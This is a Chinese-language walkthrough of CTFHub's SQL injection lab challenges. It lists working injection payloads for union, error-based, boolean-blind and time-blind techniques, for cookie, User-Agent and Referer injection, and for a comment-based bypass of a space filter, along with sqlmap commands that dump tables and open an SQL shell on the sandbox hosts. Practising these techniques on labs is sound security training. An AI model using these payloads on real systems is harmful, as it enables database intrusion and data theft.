整数型注入
判断字段数为2
order by 2#
判断回显点
?id=-1 union select 1,2#
爆数据库
?id=-1 union select 1,database()#
爆表
?id=-1 union select 1,group_concat(table_name,0x7e) from information_schema.tables where table_schema="sqli" #
爆字段
?id=-1 union select 1,group_concat(column_name,0x7e) from information_schema.columns where table_name="flag" #
爆字段值
?id=-1 union select 1,group_concat(flag,0x7e) from sqli.flag #
字符型注入
判断字段数
?id=1' order by 2--+
判断回显
?id=-1' union select 1,2 --+
爆数据库
?id=-1' union select 1,database() --+
爆表
?id=-1' union select 1,group_concat(table_name,0x7e) from information_schema.tables where table_schema="sqli" --+
爆字段
?id=-1' union select 1,group_concat(column_name,0x7e) from information_schema.columns where table_name="flag" --+
爆字段值
?id=-1' union select 1,group_concat(flag,0x7e) from sqli.flag--+
报错注入
判断回显
无回显
输入id=1'报错
用报错注入
爆数据库
?id=1 and updatexml(1,concat(0x7e,database()),1)
爆表名
?id=1 and updatexml(1,(select group_concat(0x7e,table_name) from information_schema.tables where table_schema="sqli"),1)
爆字段
?id=1 and updatexml(1,(select group_concat(0x7e,column_name) from information_schema.columns where table_name="flag"),1)
爆字段值
?id=1 and updatexml(1,(select group_concat(0x7e,flag) from sqli.flag),1)
布尔盲注
没有报错回显,所以布尔盲注
爆数据库
?id=1 and substr(database(),1,1)='s'--+
burpsuite爆破得:sqli
爆表
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1,1))=102--+
爆字段
?id=1 and length((select flag from sqli.flag))=32--+
爆字段值
?id=1 and substr((select flag from sqli.flag),1,1)="c"--+
burpsuite爆破
也可以用sqlmap
python3 sqlmap.py -u "CTFHub 环境实例 | 提示信息 --batch
时间盲注
可以burpsuite
为了方便直接sqlmap
python3 sqlmap.py -u "http://challenge-0fec032766f02b7c.sandbox.ctfhub.com:10800/?id=1" --batch --sql-shell
select flag from sqli.flag
MYSQL结构
继续sqlmap吧
python3 sqlmap.py -u "http://challenge-4954e28992745b0c.sandbox.ctfhub.com:10800/?id=1" --batch -D sqli --tables
python3 sqlmap.py -u "http://challenge-4954e28992745b0c.sandbox.ctfhub.com:10800/?id=1" --batch -D sqli -T dzsrcnuxde --dump --columns
Cookie注入
手动注入,抓包修改cookie
判断回显点
爆库
爆表
爆字段
爆字段值
UA注入
判断回显点
爆库
爆表
爆字段
爆字段值
Refer注入
自己添加一个Referer头
Referer:-1 union select 1,database()
爆数据库
爆表
爆字段
爆字段值
过滤空格
过滤了空格,我们使用/**/代替空格
?id=1/**/and/**/1=1
爆数据库
?id=-1/**/union/**/select/**/1,database();
爆表
?id=-1/**/union/**/select/**/1,group_concat(table_name,0x7e)/**/from/**/information_schema.tables/**/where/**/table_schema="sqli"
爆字段
?id=-1/**/union/**/select/**/1,group_concat(column_name,0x7e)/**/from/**/information_schema.columns/**/where/**/table_name="prvqyboflg"
爆字段值
?id=-1/**/union/**/select/**/1,group_concat(tnocriguep,0x7e)/**/from/**/sqli.prvqyboflg
总结
适合新手练习